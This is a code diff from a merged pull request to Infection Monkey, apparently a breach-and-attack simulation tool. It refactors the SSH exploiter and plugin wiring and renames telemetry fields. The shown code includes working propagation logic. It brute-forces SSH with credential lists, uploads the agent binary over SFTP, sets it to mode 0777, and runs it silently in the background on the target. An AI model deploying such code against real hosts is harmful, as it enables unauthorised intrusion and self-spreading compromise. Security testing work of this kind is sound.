Merge pull request #1727 from guardicore/1605-modify-ssh-exploit

Modify SSH exploit
This commit is contained in:
Mike Salvatore 2022-02-23 09:16:11 -05:00 committed by GitHub
commit 7d0e177e7a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
13 changed files with 144 additions and 84 deletions

View File

@ -1,10 +1,13 @@
import logging import logging
from abc import abstractmethod from abc import abstractmethod
from datetime import datetime from datetime import datetime
from typing import Dict
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -26,7 +29,7 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self): def _EXPLOITED_SERVICE(self):
pass pass
def __init__(self, host): def __init__(self):
self._config = WormConfiguration self._config = WormConfiguration
self.exploit_info = { self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE, "display_name": self._EXPLOITED_SERVICE,
@ -37,7 +40,10 @@ class HostExploiter:
"executed_cmds": [], "executed_cmds": [],
} }
self.exploit_attempts = [] self.exploit_attempts = []
self.host = host self.host = None
self.telemetry_messenger = None
self.options = {}
self.exploit_result = {}
def set_start_time(self): def set_start_time(self):
self.exploit_info["started"] = datetime.now().isoformat() self.exploit_info["started"] = datetime.now().isoformat()
@ -48,17 +54,6 @@ class HostExploiter:
def is_os_supported(self): def is_os_supported(self):
return self.host.os.get("type") in self._TARGET_OS_TYPE return self.host.os.get("type") in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, name: str, result: bool):
from infection_monkey.telemetry.exploit_telem import ExploitTelem
ExploitTelem( # stale code
name=name,
host=self.host,
result=result,
info=self.exploit_info,
attempts=self.exploit_attempts,
).send()
def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""):
self.exploit_attempts.append( self.exploit_attempts.append(
{ {
@ -71,7 +66,12 @@ class HostExploiter:
} }
) )
def exploit_host(self): # TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
self.host = host
self.telemetry_messenger = telemetry_messenger
self.options = options
self.pre_exploit() self.pre_exploit()
result = None result = None
try: try:
@ -85,6 +85,9 @@ class HostExploiter:
return result return result
def pre_exploit(self): def pre_exploit(self):
self.exploit_result = ExploiterResultData(
os=self.host.os.get("type"), info=self.exploit_info, attempts=self.exploit_attempts
)
self.set_start_time() self.set_start_time()
def post_exploit(self): def post_exploit(self):

View File

@ -10,10 +10,12 @@ from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -26,8 +28,8 @@ class SSHExploiter(HostExploiter):
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "SSH" _EXPLOITED_SERVICE = "SSH"
def __init__(self, host): def __init__(self):
super(SSHExploiter, self).__init__(host) super(SSHExploiter, self).__init__()
self._update_timestamp = 0 self._update_timestamp = 0
def log_transfer(self, transferred, total): def log_transfer(self, transferred, total):
@ -37,7 +39,10 @@ class SSHExploiter(HostExploiter):
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
)
for user, ssh_key_pair in user_ssh_key_pairs: for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko # Creating file-like private key for paramiko
@ -67,7 +72,10 @@ class SSHExploiter(HostExploiter):
raise FailedExploitationError raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient: def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
)
for user, current_password in user_password_pairs: for user, current_password in user_password_pairs:
@ -76,23 +84,16 @@ class SSHExploiter(HostExploiter):
try: try:
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
logger.debug( logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host,
user,
self._config.hash_sensitive_data(current_password),
)
self.add_vuln_port(port) self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
return ssh return ssh
except Exception as exc: except Exception as exc:
logger.debug( logger.debug(
"Error logging into victim %r with user" "Error logging into victim %r with user" " %s: (%s)",
" %s and password (SHA-512) '%s': (%s)",
self.host, self.host,
user, user,
self._config.hash_sensitive_data(current_password),
exc, exc,
) )
self.report_login_attempt(False, user, current_password) self.report_login_attempt(False, user, current_password)
@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter):
continue continue
raise FailedExploitationError raise FailedExploitationError
def _exploit_host(self): def _exploit_host(self) -> ExploiterResultData:
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()): for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
@ -110,17 +111,22 @@ class SSHExploiter(HostExploiter):
is_open, _ = check_tcp_port(self.host.ip_addr, port) is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open: if not is_open:
logger.info("SSH port is closed on %r, skipping", self.host) self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
return False
logger.info(self.exploit_result.error_message)
return self.exploit_result
try: try:
ssh = self.exploit_with_ssh_keys(port) ssh = self.exploit_with_ssh_keys(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError: except FailedExploitationError:
try: try:
ssh = self.exploit_with_login_creds(port) ssh = self.exploit_with_login_creds(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError: except FailedExploitationError:
logger.debug("Exploiter SSHExploiter is giving up...") self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
return False logger.error(self.exploit_result.error_message)
return self.exploit_result
if not self.host.os.get("type"): if not self.host.os.get("type"):
try: try:
@ -128,12 +134,20 @@ class SSHExploiter(HostExploiter):
uname_os = stdout.read().lower().strip().decode() uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os: if "linux" in uname_os:
self.host.os["type"] = "linux" self.host.os["type"] = "linux"
self.exploit_result.os = "linux"
else: else:
logger.info("SSH Skipping unknown os: %s", uname_os) self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
return False
if not uname_os:
logger.error(self.exploit_result.error_message)
return self.exploit_result
except Exception as exc: except Exception as exc:
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) self.exploit_result.error_message = (
return False f"Error running uname os command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if not self.host.os.get("machine"): if not self.host.os.get("machine"):
try: try:
@ -142,15 +156,20 @@ class SSHExploiter(HostExploiter):
if "" != uname_machine: if "" != uname_machine:
self.host.os["machine"] = uname_machine self.host.os["machine"] = uname_machine
except Exception as exc: except Exception as exc:
logger.debug( self.exploit_result.error_message = (
"Error running uname machine command on victim %r: (%s)", self.host, exc f"Error running uname machine command on victim {self.host}: ({exc})"
) )
logger.error(self.exploit_result.error_message)
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
logger.info("Can't find suitable monkey executable for host %r", self.host) self.exploit_result.error_message = (
return False f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
try: try:
ftp = ssh.open_sftp() ftp = ssh.open_sftp()
@ -159,45 +178,58 @@ class SSHExploiter(HostExploiter):
with monkeyfs.open(src_path) as file_obj: with monkeyfs.open(src_path) as file_obj:
ftp.putfo( ftp.putfo(
file_obj, file_obj,
self._config.dropper_target_path_linux, self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path), file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer, callback=self.log_transfer,
) )
ftp.chmod(self._config.dropper_target_path_linux, 0o777) ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
status = ScanStatus.USED status = ScanStatus.USED
T1222Telem( self.telemetry_messenger.send_telemetry(
ScanStatus.USED, T1222Telem(
"chmod 0777 %s" % self._config.dropper_target_path_linux, ScanStatus.USED,
self.host, "chmod 0777 %s" % self.options["dropper_target_path_linux"],
).send() self.host,
)
)
ftp.close() ftp.close()
except Exception as exc: except Exception as exc:
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED status = ScanStatus.SCANNED
T1105Telem( self.telemetry_messenger.send_telemetry(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path T1105Telem(
).send() status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
)
)
if status == ScanStatus.SCANNED: if status == ScanStatus.SCANNED:
return False return self.exploit_result
try: try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += " > /dev/null 2>&1 &" cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline) ssh.exec_command(cmdline)
logger.info( logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)", "Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.options["dropper_target_path_linux"],
self.host, self.host,
cmdline, cmdline,
) )
self.exploit_result.propagation_success = True
ssh.close() ssh.close()
self.add_executed_cmd(cmdline) self.add_executed_cmd(cmdline)
return True return self.exploit_result
except Exception as exc: except Exception as exc:
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) self.exploit_result.error_message = (
return False f"Error running monkey on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result

View File

@ -1,8 +1,9 @@
import abc import abc
import threading import threading
from collections import namedtuple from collections import namedtuple
from dataclasses import dataclass
from enum import Enum from enum import Enum
from typing import Dict, List, Sequence from typing import Dict, Iterable, List, Mapping, Sequence
from . import PluginType from . import PluginType
from .credential_collection import Credentials from .credential_collection import Credentials
@ -17,10 +18,16 @@ class UnknownPluginError(Exception):
pass pass
ExploiterResultData = namedtuple( @dataclass
"ExploiterResultData", class ExploiterResultData:
["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"], exploitation_success: bool = False
) propagation_success: bool = False
os: str = ""
info: Mapping = None
attempts: Iterable = None
error_message: str = ""
PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PingScanData = namedtuple("PingScanData", ["response_received", "os"])
PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"])
FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"])
@ -103,16 +110,19 @@ class IPuppet(metaclass=abc.ABCMeta):
:rtype: FingerprintData :rtype: FingerprintData
""" """
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
@abc.abstractmethod @abc.abstractmethod
def exploit_host( def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData: ) -> ExploiterResultData:
""" """
Runs an exploiter against a remote host Runs an exploiter against a remote host
:param str name: The name of the exploiter to run :param str name: The name of the exploiter to run
:param str host: The domain name or IP address of a host :param object host: The domain name or IP address of a host
:param Dict options: A dictionary containing options that modify the behavior of the :param Dict options: A dictionary containing options that modify the behavior of the
exploiter exploiter
:param threading.Event interrupt: A threading.Event object that signals the exploit to stop
executing and clean itself up.
:return: True if exploitation was successful, False otherwise :return: True if exploitation was successful, False otherwise
:rtype: ExploiterResultData :rtype: ExploiterResultData
""" """

View File

@ -115,7 +115,7 @@ class Exploiter:
credentials = self._get_credentials_for_propagation() credentials = self._get_credentials_for_propagation()
options = {"credentials": credentials, **options} options = {"credentials": credentials, **options}
return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop) return self._puppet.exploit_host(exploiter_name, victim_host, options, stop)
def _get_credentials_for_propagation(self) -> Mapping: def _get_credentials_for_propagation(self) -> Mapping:
try: try:

View File

@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
MimikatzCredentialCollector, MimikatzCredentialCollector,
SSHCredentialCollector, SSHCredentialCollector,
) )
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel from infection_monkey.master.control_channel import ControlChannel
@ -194,7 +195,7 @@ class InfectionMonkey:
return local_network_interfaces return local_network_interfaces
def _build_puppet(self) -> IPuppet: def _build_puppet(self) -> IPuppet:
puppet = Puppet() puppet = Puppet(self.telemetry_messenger)
puppet.load_plugin( puppet.load_plugin(
"MimikatzCollector", "MimikatzCollector",
@ -213,6 +214,8 @@ class InfectionMonkey:
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
return puppet return puppet

View File

@ -134,8 +134,9 @@ class MockPuppet(IPuppet):
return empty_fingerprint_data return empty_fingerprint_data
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host( def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData: ) -> ExploiterResultData:
logger.debug(f"exploit_hosts({name}, {host}, {options})") logger.debug(f"exploit_hosts({name}, {host}, {options})")
attempts = [ attempts = [
@ -209,7 +210,7 @@ class MockPuppet(IPuppet):
} }
try: try:
return successful_exploiters[host][name] return successful_exploiters[host.ip_addr][name]
except KeyError: except KeyError:
return ExploiterResultData( return ExploiterResultData(
False, False, os_linux, {}, [], f"{name} failed for host {host}" False, False, os_linux, {}, [], f"{name} failed for host {host}"

View File

@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
PostBreachData, PostBreachData,
) )
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from .mock_puppet import MockPuppet from .mock_puppet import MockPuppet
from .plugin_registry import PluginRegistry from .plugin_registry import PluginRegistry
@ -21,9 +22,10 @@ logger = logging.getLogger()
class Puppet(IPuppet): class Puppet(IPuppet):
def __init__(self) -> None: def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
self._mock_puppet = MockPuppet() self._mock_puppet = MockPuppet()
self._plugin_registry = PluginRegistry() self._plugin_registry = PluginRegistry()
self._telemetry_messenger = telemetry_messenger
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
@ -56,10 +58,12 @@ class Puppet(IPuppet):
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host( def exploit_host(
self, name: str, host: str, options: Dict, interrupt: threading.Event self, name: str, host: object, options: Dict, interrupt: threading.Event
) -> ExploiterResultData: ) -> ExploiterResultData:
return self._mock_puppet.exploit_host(name, host, options, interrupt) exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
return exploiter.exploit_host(host, self._telemetry_messenger, options)
def run_payload(self, name: str, options: Dict, interrupt: threading.Event): def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)

View File

@ -3,7 +3,7 @@ from typing import Dict
from common.common_consts.telem_categories import TelemCategoryEnum from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.model.host import VictimHost from infection_monkey.model.host import VictimHost
from infection_monkey.telemetry.base_telem import BaseTelem from infection_monkey.telemetry.base_telem import BaseTelem
from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData from infection_monkey.i_puppet.i_puppet import ExploiterResultData
class ExploitTelem(BaseTelem): class ExploitTelem(BaseTelem):

View File

@ -61,7 +61,7 @@ class T1210(AttackTechnique):
def get_exploited_services(): def get_exploited_services():
results = mongo.db.telemetry.aggregate( results = mongo.db.telemetry.aggregate(
[ [
{"$match": {"telem_category": "exploit", "data.result": True}}, {"$match": {"telem_category": "exploit", "data.exploitation_result": True}},
{ {
"$group": { "$group": {
"_id": {"ip_addr": "$data.machine.ip_addr"}, "_id": {"ip_addr": "$data.machine.ip_addr"},

View File

@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]:
[ [
ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name
for exploit in node["exploits"] for exploit in node["exploits"]
if exploit["result"] if exploit["exploitation_result"]
] ]
) )
) )

View File

@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json):
check_machine_exploited( check_machine_exploited(
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]),
exploit_successful=telemetry_json["data"]["exploitation_success"], exploit_successful=telemetry_json["data"]["exploitation_result"],
exploiter=telemetry_json["data"]["exploiter"], exploiter=telemetry_json["data"]["exploiter"],
target_ip=telemetry_json["data"]["machine"]["ip_addr"], target_ip=telemetry_json["data"]["machine"]["ip_addr"],
timestamp=telemetry_json["timestamp"], timestamp=telemetry_json["timestamp"],

View File

@ -1,12 +1,19 @@
import threading import threading
from unittest.mock import MagicMock from unittest.mock import MagicMock
import pytest
from infection_monkey.i_puppet import PluginType from infection_monkey.i_puppet import PluginType
from infection_monkey.puppet.puppet import Puppet from infection_monkey.puppet.puppet import Puppet
def test_puppet_run_payload_success(monkeypatch): @pytest.fixture
p = Puppet() def mock_telemetry_messenger():
return MagicMock()
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
p = Puppet(mock_telemetry_messenger)
payload = MagicMock() payload = MagicMock()
payload_name = "PayloadOne" payload_name = "PayloadOne"
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
payload.run.assert_called_once() payload.run.assert_called_once()
def test_puppet_run_multiple_payloads(monkeypatch): def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
p = Puppet() p = Puppet(mock_telemetry_messenger)
payload_1 = MagicMock() payload_1 = MagicMock()
payload1_name = "PayloadOne" payload1_name = "PayloadOne"

View File

@ -94,7 +94,7 @@ NODE_DICT = {
"dead": True, "dead": True,
"exploits": [ "exploits": [
{ {
"result": True, "exploitation_result": True,
"exploiter": "DrupalExploiter", "exploiter": "DrupalExploiter",
"info": { "info": {
"display_name": "Drupal Server", "display_name": "Drupal Server",
@ -109,7 +109,7 @@ NODE_DICT = {
"origin": "MonkeyIsland : 192.168.56.1", "origin": "MonkeyIsland : 192.168.56.1",
}, },
{ {
"result": True, "exploitation_result": True,
"exploiter": "ElasticGroovyExploiter", "exploiter": "ElasticGroovyExploiter",
"info": { "info": {
"display_name": "Elastic search", "display_name": "Elastic search",
@ -130,8 +130,8 @@ NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT)
NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0]
NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT)
NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False
NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False
@pytest.fixture @pytest.fixture